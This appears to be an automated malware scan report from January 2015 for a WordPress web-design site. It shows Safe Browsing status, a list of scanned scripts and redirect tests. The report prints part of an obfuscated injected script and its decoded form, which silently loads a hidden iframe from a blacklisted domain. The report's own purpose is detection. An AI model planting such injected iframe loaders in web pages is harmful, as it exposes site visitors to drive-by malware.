Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=thietkeweb.ctit.vn
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://thietkeweb.ctit.vn/ | 200 OK Content-Length: 41046 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: shop-corp24.com var _01O='KkSKpcCfngCdpxGcz5yJlxWe0N3NywXe0lGbpJWazlmd3IDft92Y8RWS5JEduVWblxWR0V2Z8RjMwJ3bjxnMk92afNna4IDfoRHZpdHfuVGZklGaBNDfkFWZoxXZtFmTnFGV5J0c05WZtVGbFRXZnxHewBDOxcjM8JXZyJXZmVmc8hHcwAjM3IDf0h2ZpVGa8VGchN2cl5Wd8VGdpJ3d8xmc1xHZh9Gbu92NywXZtFmcml2Nyw3bm5Wa8Rnbl1Wdj9GZENDfjJ3c0V2Z8t2b8VGd1JWayRHdBRXZzxnZlJHf05WZtV3YvRGOywndpR2NywnZpBjM8RWZkF2bsxHduVmdFh2YhRHdhx3ZhRldpRGMyw3dvRmbpdHOywHZh9Gb3IDfyQ2br91cqlDM8lGchlnclVXcqxnbvlGdj5WdmFEM8V2csFmZwIDfyFmdBB ...[4229 bytes skipped]... Decoded script: ...[14006 bytes skipped]... nload%27%2C%20showBrowVer%29%3B%0A%20%20%20%20%7D%0A%7D%0Afunction%20showBrowVer%28%29%0A%7B%0Avar%20divTag%3Ddocument.createElement%28%27div%27%29%3B%20%20%20%20%20%20%20%20%0AdivTag.id%3D%27dt%27%3B%0Adocument.body.appendChild%28divTag%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20js_kod2%20%3D%20document.createElement%28%27iframe%27%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20js_kod2.src%20%3D%20%27http%3A//shop-corp24.com%27%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20js_kod2.width%20%3D%20%27180px%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20js_kod2.height%20%3D%20%27200px%27%3B%20%20%20%20%20%20%20%20%20%0A%09%09%09%09js_kod2.setAttribute%28%27style%27%2C%27visibility%3Ahidden%27%29%3B%0Adocument.getElementById%28%27dt%27%29.appendChild%28js_kod2%29%3B%0A%7D%3C/script%3E';var _0OO=document.createElement('script');_0OO.src='http://jquery ...[1743 bytes skipped]... | ||
http://thietkeweb.ctit.vn/wp-includes/js/jquery/jquery.js?ver=1.10.2 | 200 OK Content-Length: 93085 Content-Type: application/javascript | clean |
http://thietkeweb.ctit.vn/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1 | 200 OK Content-Length: 7200 Content-Type: application/javascript | clean |
http://thietkeweb.ctit.vn/wp-content/plugins/wp-customer-reviews/wp-customer-reviews.js?ver=2.4.5 | 200 OK Content-Length: 4949 Content-Type: application/javascript | clean |
http://thietkeweb.ctit.vn/wp-content/themes/u-design/sliders/cycle/jquery.cycle.all.min.js?ver=2.99 | 200 OK Content-Length: 32046 Content-Type: application/javascript | clean |
http://thietkeweb.ctit.vn/wp-content/themes/u-design/sliders/cycle/jquery.easing.1.3.js?ver=1.3 | 200 OK Content-Length: 8101 Content-Type: application/javascript | clean |
http://thietkeweb.ctit.vn/wp-content/themes/u-design/sliders/cycle/cycle3/cycle3_script.js?ver=1.0.0 | 200 OK Content-Length: 2574 Content-Type: application/javascript | clean |
http://thietkeweb.ctit.vn/wp-content/themes/u-design/scripts/prettyPhoto/js/jquery.prettyPhoto.js?ver=3.1.3 | 200 OK Content-Length: 24867 Content-Type: application/javascript | clean |
http://thietkeweb.ctit.vn/wp-content/themes/u-design/scripts/superfish-1.4.8/js/superfish.combined.js?ver=1.0.0 | 200 OK Content-Length: 5387 Content-Type: application/javascript | clean |
http://thietkeweb.ctit.vn/wp-content/themes/u-design/scripts/script.js?ver=1.0 | 200 OK Content-Length: 7253 Content-Type: application/javascript | clean |
http://thietkeweb.ctit.vn/wp-content/plugins/pinterest-pin-it-button/js/pin-it-button-user-selects-image.js | 200 OK Content-Length: 364 Content-Type: application/javascript | clean |
http://thietkeweb.ctit.vn/wp-content/plugins/pinterest-pin-it-button/js/pin-it-button-user-selects-image-assets.js | 200 OK Content-Length: 2363 Content-Type: application/javascript | clean |
http://platform.twitter.com/widgets.js?ver=3.6.1 | 200 OK Content-Length: 110455 Content-Type: application/javascript | clean |
http://apis.google.com/js/plusone.js?ver=3.6.1 | 200 OK Content-Length: 12812 Content-Type: application/javascript | clean |
http://platform.linkedin.com/in.js?ver=3.6.1 | 200 OK Content-Length: 3768 Content-Type: text/javascript | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: thietkeweb.ctit.vn
Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 15 Jan 2015 07:55:41 GMT
Server: SysNetPro config by info@sysnetpro.net
Vary: Accept-Encoding,User-Agent
Content-Length: 41046
Content-Type: text/html; charset=UTF-8
X-Pingback: http://thietkeweb.ctit.vn/xmlrpc.php
X-Powered-By: PHP/5.3.23
...41046 bytes of data.
GET / HTTP/1.1
Host: thietkeweb.ctit.vn
Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 15 Jan 2015 07:55:41 GMT
Server: SysNetPro config by info@sysnetpro.net
Vary: Accept-Encoding,User-Agent
Content-Length: 41046
Content-Type: text/html; charset=UTF-8
X-Pingback: http://thietkeweb.ctit.vn/xmlrpc.php
X-Powered-By: PHP/5.3.23
...41046 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: thietkeweb.ctit.vn
Referer: http://www.google.com/search?q=thietkeweb.ctit.vn
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: thietkeweb.ctit.vn
Referer: http://www.google.com/search?q=thietkeweb.ctit.vn
Result:
The result is similar to the first query. There are no suspicious redirects found.